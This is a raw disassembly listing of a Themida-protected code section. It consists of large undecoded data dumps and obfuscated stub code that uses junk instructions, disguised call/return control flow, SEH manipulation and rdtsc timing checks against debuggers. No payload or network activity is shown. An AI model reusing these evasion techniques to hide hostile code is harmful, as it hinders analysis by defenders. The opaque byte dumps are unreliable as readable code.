		dd 44C57A5Fh, 914D6617h, 45FAA8C4h, 0AC8FE518h,	1C376A97h
		dd 0E1791C01h, 77AC6146h, 9ABDD3F6h, 0AC3DC38Fh, 0FD5A3F4Ah
		dd 58Ch, 0B0C560F9h, 4055C88Dh,	0D3E87B1Dh, 6479E4B0h
		dd 0F90E2941h, 0A2B646D8h, 384F7287h, 0B2E5081Dh, 0E1779AAFh
		dd 0B5623146h, 0ED0AF304h, 2C453C66h, 0F1A3D53h, 8EE5E55Dh
		dd 4D73D0B5h, 38000005h, 0CEF10621h, 64879C87h,	0F71A2F32h
		dd 8CAFC45Fh, 1B3C51F4h, 0C863F789h, 60FB90B3h,	0F46F284Bh
		dd 83A6BCDFh, 41F29F6Eh, 66ED0AB6h, 53718A81h, 0E9351A3Dh
		dd 44F522B0h, 6B1376EDh, 0ABD8EDA2h, 6247E278h,	39602CADh
		dd 35DF9EA2h, 0EB5706B6h, 0A63D69C2h, 0C396ED9h, 0F40F435Bh
		dd 6045FA64h, 0EBCFBC3Fh, 0E5781C6Ch, 283B5D00h, 0E380D543h
		dd 1346F3D2h, 45FADF42h, 9960FFC4h, 4BF7737Fh, 0ABECh
		dd 0D49D300h, 10D25F4Bh, 0A695165Ch, 0DBF7A20Ch, 96F1FDAEh
		dd 772C6B0Ah, 64F520C1h, 0BCF99BF3h, 0FB68EC0Bh, 0D8E43A3h
		dd 4D7A5841h, 0FF66F11h, 44F9DE79h, 297DAB18h, 0D0CA7BA8h
		dd 0A7A202EEh, 9BD05304h, 0A32F6AB6h, 0DD13C576h, 0A55A9C0Eh
		dd 4DFE3B78h, 0A3EF20AAh, 0D027D885h, 67A3EF20h, 0D9FC7DB2h
		dd 7093A883h, 70343F1Ah, 0D047F0C8h, 4528EEBh, 5E330000h
		dd 92C3E6FBh, 3D577A8Fh, 0AAEA0D22h, 0EB7FA2B7h, 881A3B50h
		dd 0B0C560F8h, 3E53F68Dh, 0D0E5781Bh, 5F74D7ADh, 0C532E390h
		dd 6A66ED09h, 94995A73h, 0
		dd 0B6E3EFAAh, 29324679h, 0DDC2F752h, 1B06A728h, 706B1377h
		dd 6693B6CDh, 0ED1542B5h, 338ED66h, 0B85D99D6h,	85C6593h
		dd 2E4467E8h, 0BDD3F60Bh, 1B3A6D9Ah, 0ED6E2308h, 6F285B08h
		dd 0D95A0FF4h, 19468C0Dh, 0F3FCCA68h, 0E3C87D64h, 0A3D00297h
		dd 0F3089CF2h, 0D3DE936Ah, 88F2A4A5h, 0B9238065h, 0CC000003h
		dd 5A7D92B5h, 0F013283Bh, 83A6BBA6h, 183B50D3h,	0AFD0E540h
		dd 54F78B1Dh, 0E4471C3Fh, 78EBACCFh, 0F2A4063h,	0CD7E2BFAh
		dd 66ED092Ah, 0D5F50E05h, 6D044E22h, 44DCB30h, 9D35646Dh
		dd 7772BF70h, 74296B13h, 6D1F0B47h, 0A05212AEh,	0C1973A1Fh
		dd 5D42DD78h, 2DCA7BA8h, 266ECA3h, 750D184Dh, 9588F24Eh
		dd 34E53B0h, 22370000h,	86CFF207h, 3163869Bh, 5EF6192Eh
		dd 0F78BAEC3h, 8C1E3F54h, 0ACC164FCh, 4257F289h, 0D4E9741Fh
		dd 6B80DBB1h, 0B93EEF9Ch, 7E66ED08h, 3D536E87h,	19B1ED1Ah
		dd 1A1FF4BEh, 337F64E5h, 23F6C66h, 0B592AEC6h, 0C196A800h
		dd 97CC8166h, 4AE97516h, 8F446B0Bh, 822D97Ah, 0A2B67527h
		dd 7FAB538Fh, 286462C2h, 0C6837087h, 0DD12C75Ch, 6ACDA5C8h
		dd 159CD885h, 0D433C89Ah, 0D80D1043h, 0D4108B57h, 3F19A983h
		dd 181E6EA4h, 9099AEE3h, 71223D53h, 6D044D86h, 0E2C7FCB1h
		dd 0E10E293Fh, 4E04F3A4h, 762B6D04h, 80B3E0F5h,	0AF6449D4h
		dd 4E26D182h, 5C116D04h, 488A0FDBh, 55206A1Bh, 62176B0Bh
		dd 359F5C7Dh, 387D66F5h, 0D946D22Bh, 0D9164600h, 0F53DCF28h
		dd 0D34E0966h, 0C07539EEh, 30233Fh, 0AAE60000h,	247F49B0h
		dd 5A63E482h, 0B6E3EFAAh, 0B679905h, 0F21FD46Bh, 0A78C97BFh
		dd 6B8C71F2h, 66F52790h, 0E138478Ch, 4600CF37h,	0D134h
		dd 3D531B00h, 0FE92351Ah, 0BDD3765Bh, 7C12B59Ah, 965077E2h
		dd 7B84532h, 6D0367F0h,	285D9247h, 635E7213h, 0E0766D03h
		dd 3C213C57h, 1A3D5287h, 0B0FCE144h, 89BCE9E9h,	742552CDh
		dd 6D036B83h, 4976F7ACh, 4685D00Ch, 26FCA890h, 0F63604A5h
		dd 0CC816B0Ah, 9C4D8AB7h, 66F4F65Bh, 817627D4h,	0B666F4F6h
		dd 7F4BCC01h, 4E8BB81Ah, 2E77A1Bh, 0E52BCC4Dh, 5C6506A5h
		dd 33477AA7h, 13F86B2Ah, 0F114295Eh, 0D1B3BE99h, 318EFB0Dh
		dd 1AAEF4Ch, 86DB0000h,	2A6B8EA3h, 55FF2237h, 0C292B5CAh
		dd 53274A5Fh, 30C2E3F8h, 586DC8A0h, 0E6FB5E35h,	788D90C3h
		dd 71C3F55h, 1DDA8B38h,	1266ED07h, 3F53021Bh, 9ABCEF1Ch
		dd 6CEDA287h, 0FB5E3457h, 0C49DDE6h, 44D9C5Bh, 0B1DE936Dh
		dd 44DF700h, 0A8B406Dh,	4A775B3Eh, 0A8BBDA0Dh, 0C6DE577Ch
		dd 0B5365638h, 0A7C8A14h, 4B30E56Bh, 372A6B9Eh,	7B1C9D52h
		dd 66F48180h, 0F108579Ch, 46002827h, 9644h, 3D532B00h
		dd 0FE92351Ah, 7B55765Bh, 496D0449h, 0A681D90Ch, 449F205h
		dd 7883D6Dh, 99BD8EE4h,	2F64FF98h, 4B60954Ah, 12F75228h
		dd 0D2FFD3C6h, 290C6295h, 6D0E8F44h, 6B0B62CDh,	0D29EB368h
		dd 2DDE0BC7h, 6506B48Eh, 14477429h, 0A1C4D97Ch,	5B636EC9h
		dd 0D78EFB64h, 0CA95F2h, 0A6BB0000h, 0A4B6E83h,	0B5DF0217h
		dd 227295AAh, 73072A3Fh, 10A2C3D8h, 384DE880h, 0C6DB7E15h
		dd 586DF0A3h, 0E7FC5F35h, 3DBA6B18h, 0F266ED06h, 3F53E2FBh
		dd 8EE4071Ch, 498D96ABh, 0FDE27D16h, 0CEA4C748h, 8DE3866Bh
		dd 0D0C995AAh, 124D502h, 0CD6B1377h, 0E162C59Ah, 0E083681Dh
		dd 779AAF8Ah, 0E61946E1h, 17CCB1ACh, 5E90B196h,	6F0FC0FEh
		dd 41744D1Ah, 65880914h, 0F4172C0Fh, 0A6B7CD9Eh, 593E73EEh
		dd 0F426FA4h, 27EEE678h, 9D6F0735h, 5F02E768h, 0CCFF2C37h
		dd 2B1091B4h, 0A6B9F532h, 0D9286F2Ah, 0C5A267E8h, 0E90EBFFCh
		dd 4EEE391Eh, 0B2296D99h, 4DDCB7F4h, 8AD3A9CCh,	0C2156C9h
		dd 0D3B893E9h, 376h, 0CED7DD00h, 361B3E53h, 755AFD93h
		dd 0B99E81D2h, 1E64116h, 4A2F0A5Eh, 9378D3A7h, 0D4B9A4F0h
		dd 17FC6731h, 593E2174h, 0E78957F7h, 4C781h, 0B8500000h
		dd 4, 8758C729h, 685C243Ch, 33D0h, 68243C89h, 492h, 83240C89h
		dd 148904ECh, 1ECBBA24h, 0E2D14B22h, 5833EA81h,	0F2813AF6h
		dd 2B973060h, 9B1CEA81h, 0D7896AC3h, 4EC835Ah, 81242489h
		dd 42404h, 57590000h, 3D99BF57h, 7C291D73h, 8F5F0424h
		dd 41810841h, 733D9908h, 240C8B1Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dd 0CE3BAB11h, 7B4D3DECh, 0BBD635A0h
; ---------------------------------------------------------------------------


loc_5CF8C8:				; CODE XREF: Themida_:005CE834j
		mov	eax, 6174957h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		and	[ebx+59C2C05h],	ah
		mov	ds:5E36E08h, al
		daa
		cmps	dword ptr fs:[esi], dword ptr es:[edi]
		cmpsb
		aaa
		xchg	ah, [ebx-35h]
		daa
		mov	al, [ecx+54C35B9Eh]
		xor	byte ptr [ebx+eax*8+61h], 46h
		cmp	edx, ecx
		push	421537D3h
		jmp	short loc_5CF94F
; ---------------------------------------------------------------------------
		db 7Ch,	24h, 5Bh
		dd 4514393Ch, 0F6602450h, 6A567333h, 68A81A29h,	0CD1E597Ah
		dd 680AAE57h, 1155D605h, 5F956E3Bh, 927DBE59h, 0EAB40730h
		dd 7F01E69h, 6F2FFC7Dh,	86862B1Ah, 292CF632h, 0E387DC37h
		dd 8AC28F1Ch, 2D8D8D6Fh, 6A06174Bh, 3E85500h, 20000000h
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		pop	ebp


loc_5CF94F:				; CODE XREF: Themida_:005CF8F7j
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		add	dword ptr [esi+3A2CEFh], 0FFFFFFFCh
		mov	[ebp+60F2C61h],	edi
		or	di, 0BA96h
		mov	[ebp+60F3241h],	esi
		mov	[ebp+60F2C65h],	ecx
		push	0
		push	ebx
		call	sub_5CF987
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF987	proc near		; CODE XREF: Themida_:005CF97Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5CF987	endp

; ---------------------------------------------------------------------------
		mov	ebx, 0F179C8D8h
		setalc
		pop	edi
		inc	esp
		pop	ebp
		mov	dword ptr [ebp+60F07C1h], 5E2Ch
		sbb	al, 3
		mov	dword ptr [ebp+60F2491h], 0
		mov	ebx, [ebp+60F3321h]
		push	dword ptr [ebp+60F1581h]
		push	0
		push	edx
		call	sub_5CF9CE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF9CE	proc near		; CODE XREF: Themida_:005CF9C6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5CF9CE	endp

; ---------------------------------------------------------------------------
		inc	esi
		xor	[edx-580346h], bh
		xchg	eax, ebp
		add	eax, 8B060F2Ah
		mov	ebp, 60F34D9h
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_5CFA36
; ---------------------------------------------------------------------------
		dd 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0F0268481h, 0B00DCB17h
		dd 7A9A75ADh, 51B940C5h, 4E7B0310h, 3328807Dh, 0F63A52E1h
		dd 8FD7DE8Dh, 0A23D6B4Ah, 0B7418C3Fh, 160A18E7h
		db 0F4h, 0E6h
; ---------------------------------------------------------------------------


loc_5CFA36:				; CODE XREF: Themida_:005CF9FAj
		lea	ecx, [ebp+6174BF6h]
		push	0
		push	edx
		call	sub_5CFA47
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFA47	proc near		; CODE XREF: Themida_:005CFA3Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CFA47	endp

; ---------------------------------------------------------------------------
		shr	dword ptr [edi+0D6E77FAh], cl
		xchg	eax, ebp
		mov	[ebp+60F30ADh],	edi
		pusha
		push	ebx
		mov	esi, [ebp+60F1CFDh]
		pop	edx
		mov	di, cx
		popa
		mov	[ebp+60F2C65h],	ecx
		mov	dl, 8Eh
		mov	dword ptr [ebp+60F07C1h], 5BD0h
		mov	[ebp+60F3429h],	edx
		mov	dword ptr [ebp+60F2491h], 0
		mov	si, 79B4h
		push	dword ptr [ebp+60F128Dh]
		mov	edx, [ebp+60F14FDh]
		jbe	loc_5CFAAE
		mov	eax, 2EB44C3Dh


loc_5CFAAE:				; CODE XREF: Themida_:005CFAA3j
		call	dword ptr [ebp+60F2A05h]
		mov	ebx, 6DC9F894h
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_5CFAF4
; ---------------------------------------------------------------------------
		db 6Eh,	3, 39h
		dd 0C250B991h, 0B5A0FB47h, 3B526818h, 39E037h, 729BAC45h
		dd 9749AB6Fh, 0A4B251ABh, 0E7872F2Dh, 0D978B68h, 0CB020B44h
		dd 7FBFCCEh
; ---------------------------------------------------------------------------


loc_5CFAF4:				; CODE XREF: Themida_:005CFAC3j
		jmp	loc_5CFB08
; ---------------------------------------------------------------------------
		db 0FCh, 49h, 7Eh
		dd 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5CFB08:				; CODE XREF: Themida_:loc_5CFAF4j
		jmp	loc_5D007A
; ---------------------------------------------------------------------------
		xchg	eax, esi
		retn
; ---------------------------------------------------------------------------
		db 68h
		dd 0FA653053h, 8D90C2E5h, 1E015578h, 0B792E609h, 5DEF81A2h
		dd 0EA0D2205h, 7A9DB295h, 0E3146D9h, 0F9C8DD78h, 25C9B4Ch
		dd 0DCD366EDh, 1A3D53C3h, 5BFE9235h, 0EA4D2346h, 0AF4B81BDh
		dd 0C54ECEC2h, 0E9FF1B0Eh, 71F2273Fh, 0E9ACDF8Ch, 0A7EE9176h
		dd 0E30687BCh, 18C5AA8Dh, 2AAB8EE5h, 0EED34E07h, 3015084Bh
		dd 7257CA8Dh, 3998E72Ch, 5A69F64Bh, 0E90C2104h,	719EB3AEh
		dd 8E0F2A3Eh, 0FE3E286Bh, 0FBBB951Ah, 8C2F1449h, 0CC6F54F7h
		dd 0DB09588h, 0ADF3D84Bh, 41BA1B68h, 87D01F6Ch,	0E64879Ch
		dd 6699462Bh, 0A94C312Ch, 0BB3C71ECh, 3DCE01Ah,	0C45FF86Dh
		dd 15263CDFh, 0C0A5DA7Dh, 5695F2C7h, 8A3F243Fh,	54338855h
		dd 0F844BCDh, 73204Ch, 53070000h, 0DBB233Dh, 0C55D3F52h
		dd 738AAB90h, 0BF6D03D9h, 14041D6Ah, 594C0F80h,	1, 27025340h
		dd 44E8176h, 5809B66Dh,	6D044D9Fh, 79AEE398h, 0B9A4F194h
		dd 39EA27D4h, 6D044DBEh, 0E697C479h, 6D044E11h,	0CDF07126h
		dd 0AED9E89h, 256D044Eh, 0E8563B70h, 5EF7F493h,	4DDD1ACBh
		dd 0A6526D04h, 0A35903D2h, 496CA1A6h, 0C7DC110Ch, 566BCEA4h
		dd 7E16494Dh, 0C849FEE3h, 856ACDA5h, 0CBB0B3E2h, 9A234085h
		dd 4E332E67h, 9DF51899h, 3B78A5BAh, 44E6D8Ah, 0E10DC26Dh
		dd 0D2106605h, 0B0D35477h, 0F79A7FDAh, 7EDDC25Dh, 55D32A39h
		dd 254C0FC0h, 96B99CF2h, 0C4E061FCh, 6Dh, 1E015487h, 3F53949Dh
		dd 0CAFF5A2Eh, 0A713619Dh, 270C2F43h, 88BF4672h, 0B4573CBDh
		dd 2C9A7FE2h, 273B88D7h, 0B4CCEF04h, 36116699h,	0FCFB9C51h
		dd 336D0427h, 0C164497Eh, 2A58A95h, 45E8CD50h, 0E3290E11h
		dd 11F0C19Eh, 0C266BFCCh, 0CB4C0FCDh, 51h, 2E3F53B2h, 0DFC4F964h
		dd 23081B3Ch, 471B4E8Bh, 0C19E63E4h, 0B6CB6E02h, 7C1649ADh
		dd 49AFFAEAh, 477CECF8h, 6FF2A3C6h, 0B91698Ah, 2D456D04h
		dd 0EE82250Ah, 0F9CE664Bh, 297E4B6Ah, 0B355C35Ah, 0A164C0Fh
		dd 0D9000000h, 49CB949Dh, 71F26B72h, 5B0C4968h,	6D044D9Ch
		dd 3A5DDE93h, 73200518h, 4E728536h, 23556D04h, 3C2E2A7Bh
		dd 467328ECh, 39C6295h,	9718CD6Dh, 563B1E74h, 0ECFB885Dh
		dd 578AB7AAh, 893E233Eh, 8AC6F308h, 8E718DE2h, 511D9EDEh
		dd 2A5D8A48h, 580DF255h, 0DF9AAD7h, 486B0ACBh, 62336693h
		dd 0E4651AFFh, 751F52FFh, 0CF5005EAh, 5E73D6ACh, 4114253Bh
		dd 86BBA6F0h, 9BF12451h, 8AE894C0h, 0B3D83587h,	64A04D32h
		dd 56A6A567h, 0B253D4A0h, 66F44F4Bh, 21B8C79Ch,	7E88CFE5h
		dd 0A9EB582Bh, 0E71CD1B6h, 0A2D4366h, 58CC8F5h,	19BB98BFh
		dd 0DFB5D859h, 0B7EA977Ch, 0DF02839Eh, 26C9AE89h, 690CF16Ch
		dd 698E3F12h, 0CE66F4B7h, 67FFE419h, 46EDF592h,	9ACBD7ACh
		dd 94E1449h, 46176D7Ah,	0CCE11631h, 0CFA5639Fh,	24B262ACh
		dd 44B146F7h, 0D18666F5h, 0ECB56350h, 1BB64600h, 9D000001h
		dd 0B6E3EFAAh, 0B581105h, 0C2A75C6Bh, 21EBD915h, 5E16C872h
		dd 81A4BADDh, 45033F6Ch, 828CC9Ch, 0CF728536h, 8BD66F4h
		dd 592F52D3h, 0E07619FEh, 0D51A6045h, 82339B6h,	771206F3h
		dd 4F5B4600h, 42000000h, 0B4E1F1AAh, 1DC8F278h,	4343099Ah
		dd 6D13CA7Ch, 2E5BDC11h, 0FB6B5A7Dh, 0FBE09512h, 4951DDAh
		dd 0E9764BEDh, 0F4EA94D0h, 7BE39285h, 7977EBA6h, 0E16297FFh
		dd 1F4C8615h, 90C394ECh, 0AAD7588Dh, 0FBD5DEF9h, 4F641992h
		dd 8972h, 0EFAAD900h, 2505B6E3h, 706B0B45h, 0AD92B5CDh
		dd 3BDEC3F8h, 0CAED0225h, 8BAC91B4h, 66F54365h,	0D7147348h
		dd 6491A681h, 32E36B28h, 73F4D936h, 37E8F2A7h, 66F51CC0h
		dd 608DC277h, 0C235E623h, 6D66F51Ch, 8A9637B8h,	0C16503D1h
		dd 0EAACDF0Ch, 6E11F677h, 0D3103D18h, 0EBD0D522h, 24A55A6Ch
		dd 67FA9C3Fh, 0AE89DF82h, 0F5C31C9h, 588DA8C0h,	647D0ADFh
		dd 78F96431h, 0B8E5EDACh, 0FA851907h, 8ACD706Ah, 0C8FDB297h
		dd 0EFAAAAB3h, 0E7AB6E3h, 5E29158Fh, 5C0D3ABBh,	6B1284C4h
		dd 3EE1C67Bh, 4D2C1628h, 66649EB3h, 63F91C31h, 24C2E3C8h
		dd 0C3855D7h, 50F3D84Bh, 8B381D38h, 85E91DDAh, 0D25D1217h
		dd 35616EFDh, 0B207F52Ah, 0ED4016D5h, 85E8BB3Ch, 8ABF7417h
		dd 193C5275h, 2548734h,	16FB6631h, 88AB2C61h, 2F3263CCh
		dd 7B60954Ah, 11DEAD82h, 9ECBE07Bh, 0E947B061h,	3BF01785h
		dd 66C197BAh, 32481h, 0D78B0000h, 1B3E53CEh, 5AFD9336h
		dd 9E81D275h, 0E64116B9h, 2F0A5E01h, 78D3A74Ah,	0B9A4F093h
		dd 0FC6731D4h, 3E217417h, 8A68F759h, 8900003Bh,	8953242Ch
		dd 4C381E3h, 83000000h,	1C8704EBh, 14895C24h, 540D6824h
		dd 4890000h, 4EC8324h, 0BD242C89h, 0D0E2272h, 929D1BAh
		dd 5DEA01F9h, 30A868h, 24248900h, 4240483h, 89535658h
		dd 5BDE89D3h, 5E087089h, 582434FFh, 4C481h, 148B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		jmp	short loc_5D00CE
; ---------------------------------------------------------------------------
		db 2Fh,	0F7h, 5Ah
		dd 0B72E29ECh
		db 2Ah,	7Fh
; ---------------------------------------------------------------------------


loc_5D007A:				; CODE XREF: Themida_:loc_5CFB08j
		mov	eax, 6175134h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 45h
		dd 0F315E3Dh, 1B367AE7h, 108881Dh, 32363ABh, 0FA116B9Fh
		dd 63466398h, 0E5C7C84h, 3E3C0F8Ch, 0D057839Dh,	4DC2E3h
		dd 0B276A7A9h, 7D2E548Bh, 1C6AEE72h, 0EA4AC68Ch, 9C6320E7h
		dd 18255F2Bh, 0A949BF95h, 0F34D1428h
		db 67h,	0E5h
; ---------------------------------------------------------------------------


loc_5D00CE:				; CODE XREF: Themida_:005D006Fj
		dec	esi
		pop	edi
		insd
		push	ebp
		add	[ebp+17529F8Dh], ecx
		push	es
		mov	edi, [ebp+60F0DB9h]
		mov	[ebp+60F2C65h],	ecx
		mov	edx, eax
		mov	dword ptr [ebp+60F07C1h], 6C98h
		mov	[ebp+60F3431h],	ebx
		mov	dword ptr [ebp+60F2491h], 0
		push	0
		push	esi
		call	sub_5D010C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D010C	proc near		; CODE XREF: Themida_:005D0104p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D010C	endp

; ---------------------------------------------------------------------------
		dd 302A4E9Eh, 2BB7659Eh, 0EB808963h, 0F5B5FF16h, 0B0060F31h
		dd 595FFAAh, 6A060F2Ah,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 859CC351h, 964DC6A9h
		dd 0FF337E1Bh, 244DB589h, 6A060Fh, 345195FFh, 0C08B060Fh
		dd 0DD631CEBh, 73768628h, 0CB12B0ECh, 0CA4C0B3Eh, 23C7ECF8h
		dd 65C78E2Ch, 0C42E6456h, 10EBB92Ch, 4 dup(0)
		db 8Bh,	0C0h
		dw 0BD83h
		dd 60F1891h, 83097500h,	0F26ADBDh, 19740006h, 0C08B5350h
		dd 42DB8h, 25858900h, 8D060F00h, 11AFB89Dh, 5BD3FF06h
		dd 0ADBD8358h, 60F26h, 53501774h, 42DB8h, 25858900h, 8D060F00h
		dd 11ACA79Dh, 5BD3FF06h, 11E858h, 87D30000h, 722CE70Bh
		dd 4FAD12EAh, 0EDD77C8Bh, 8B3D931Ah, 0F31D995h,	81575E06h
		dd 8F43EDAh, 0BA665A46h, 0C08B508Eh, 798D8BFCh,	66060F34h
		dd 83F105BAh, 840F00F9h, 48h, 1D39B589h, 8B64060Fh, 2C3Dh
		dd 31958B00h, 0B060F1Eh, 2D840FFFh, 29000000h, 0F1E798Dh
		dd 663F8B06h, 32F36EBEh, 8FE281C0h, 0F30CFD38h,	0A5952BAAh
		dd 0E9060F33h, 0Ch, 0F1D4EBC5h,	0A1CBDBABh, 738C7191h
		dd 50414935h, 0E5958B53h, 0C6060F2Bh, 0F24FD85h, 6A4706h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 47F2DAC3h, 0F92E132Bh, 1F199533h, 0E8FC060Fh, 4, 0DCD6882Ch
		dd 0FE8h, 9DF6CA00h, 8A8F1724h,	37766282h, 89FED335h, 5EF18B66h
		dd 0F2BE6650h, 24448BA5h, 8E804h, 44520000h, 0B20FE6A6h
		dd 40BE9342h, 5A603719h, 0D68B008Bh, 4244489h, 66525051h
		dd 310FD08Bh, 310F5250h, 585A585Ah, 0C1B2585Eh,	2CA1B5FFh
		dd 850F060Fh, 6, 12CD8D89h, 858D060Fh, 61272E7h, 0C280F860h
		dd 8D896153h, 60F2AE5h,	6AD0FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 65FE97C3h, 799EDCD7h
		dd 8960F27Fh, 0F0C918Dh, 19B58906h, 61060F14h, 31998589h
		dd 9533060Fh, 60F0829h,	95BD8960h, 89060F2Fh, 0F2489B5h
		dd 85C66106h, 60F24FDh,	6068F953h, 0E8940CF2h, 0Ah, 677B7A98h
		dd 0F16BEEAFh, 12E8BF30h, 85000000h, 0CC6A15B0h, 396BD6A5h
		dd 25243BE9h, 0BA9A350Ch, 0FE95Ch, 0DE440000h, 0A0627C48h
		dd 8070DB12h, 0F9347965h, 815A5E76h, 989C2434h,	0D6811C94h
		dd 36FE3608h, 2CA1B5FFh, 9533060Fh, 60F1B45h, 72E7858Dh
		dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0F275F5C3h, 0CF57EC68h, 8BD14D63h, 0F142595h
		dd 0F7BF0F06h, 8B66D0FFh, 85858DD7h, 8B061236h,	0F10A995h
		dd 5D858906h, 0F060F2Ch, 188Eh,	0EE800h, 5CF0000h, 8D525289h
		dd 0BF5DFB82h, 85250FEFh, 0D7FCBE66h, 6A206A5Eh, 5D95FFFFh
		dd 35060F2Ch, 53504149h, 21D585C7h, 1060Fh, 85C70000h
		dd 60F1441h, 0
; ---------------------------------------------------------------------------
		or	dx, 8804h
		pusha
		jb	loc_5D0472
		mov	eax, ebx


loc_5D0472:				; CODE XREF: Themida_:005D046Aj
		clc
		popa
		call	sub_5D0480
		jl	short near ptr loc_5D0494+3
		mov	ebx, 8A18675Eh

; =============== S U B	R O U T	I N E =======================================



sub_5D0480	proc near		; CODE XREF: Themida_:005D0474p

; FUNCTION CHUNK AT 005D0925 SIZE 0000003C BYTES

		mov	[ebp+60F1011h],	eax
		pop	esi
		mov	eax, [ebp+60F32ADh]
		cmc
		mov	large fs:0, eax


loc_5D0494:				; CODE XREF: Themida_:005D0479j
		mov	esi, [ebp+60F1819h]
		cmp	dword ptr [ebp+60F306Dh], 0
		jz	loc_5D04B7
		mov	dl, 10h
		mov	eax, [ebp+60F1059h]
		mov	esp, eax
		sub	[ebp+60F16C1h],	edx


loc_5D04B7:				; CODE XREF: sub_5D0480+21j
		cmp	dword ptr [ebp+60F34D5h], 0
		jnz	loc_5D0925
		jmp	loc_5D04D0
; ---------------------------------------------------------------------------
		db 25h,	7Ah, 46h
		dd 0CFC9B029h
; ---------------------------------------------------------------------------


loc_5D04D0:				; CODE XREF: sub_5D0480+44j
		mov	byte ptr [ebp+60F24FDh], 56h
		mov	edx, 2E9A879Dh
		push	8B33D32Ch
		pusha
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		mov	ax, si
		pop	edx
		pop	eax
		jb	loc_5D04F5
		pusha
		popa


loc_5D04F5:				; CODE XREF: sub_5D0480+6Dj
		popa
		xor	dword ptr [esp+0], 22F6E3F3h
		jz	loc_5D050F
		jb	loc_5D050F
		jns	$+6


loc_5D050F:				; CODE XREF: sub_5D0480+7Dj
					; sub_5D0480+83j
		push	dword ptr [ebp+60F2CA1h]
		or	[ebp+60F1459h],	ebx
		lea	eax, [ebp+61272E7h]
		call	near ptr loc_5D0528+4
		xchg	eax, esi
		cmpsd


loc_5D0528:				; CODE XREF: sub_5D0480+A1p
		push	6682AF4Bh
sub_5D0480	endp ; sp-analysis failed

		mov	esi, edx
		pop	edx
		call	eax
		xor	dl, 89h
		nop
		pusha
		mov	si, dx
		call	near ptr loc_5D0540+5
		movsd


loc_5D0540:				; CODE XREF: Themida_:005D053Ap
		sub	[ebp-7464B396h], edx
		clc
		pop	edx
		popa
		push	eax
		jl	loc_5D0555
		mov	edx, 4B10D072h


loc_5D0555:				; CODE XREF: Themida_:005D054Aj
		nop
		call	near ptr loc_5D055B+5


loc_5D055B:				; CODE XREF: Themida_:005D0556p
		xor	ds:0E9933AF1h, edx
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 4993E600h, 8377A5CFh, 58D8D5Eh, 9060F34h, 0F34919Dh
		dd 50609106h, 8B310F52h, 8A585AD1h, 0F5061E5h, 488h, 5BE6600h
		dd 8C0F9186h, 3, 0FF1BF0Fh, 682h, 75B58B00h, 6A060F32h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 4ED552CAh, 6671CAB7h, 2C98D681h,	65958960h
		dd 0F5060F33h, 46896861h, 34811A5Fh, 5F568924h,	0B5FFF51Ah
		dd 60F2B85h, 18ED9529h,	0D0FF060Fh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 68C35343h, 74699AFAh, 0F11B980h
		dd 2B85BD8Bh, 6A060Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0EB4F0DC3h, 0A6C77996h, 140DB52Bh
		dd 0EE80060Fh, 3C7F0333h, 0A8D9589h, 0C781060Fh, 0F8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7C35545h
		dd 202447C7h, 0E9600000h, 14h, 0B72DDC1Ch, 785AEBE3h, 0ABE989AAh
		dd 4089F373h, 3EBF265Dh, 52C2BD83h, 0F000617h, 1A184h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 460DD9E9h, 68D0Fh, 0B5330000h, 60F1591h
		dd 6870Fh, 0BD010000h, 60F2871h, 8128C783h, 63F452DEh
		dd 2E07C709h, 6A64696Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 91C5C350h, 0AD3D0CADh
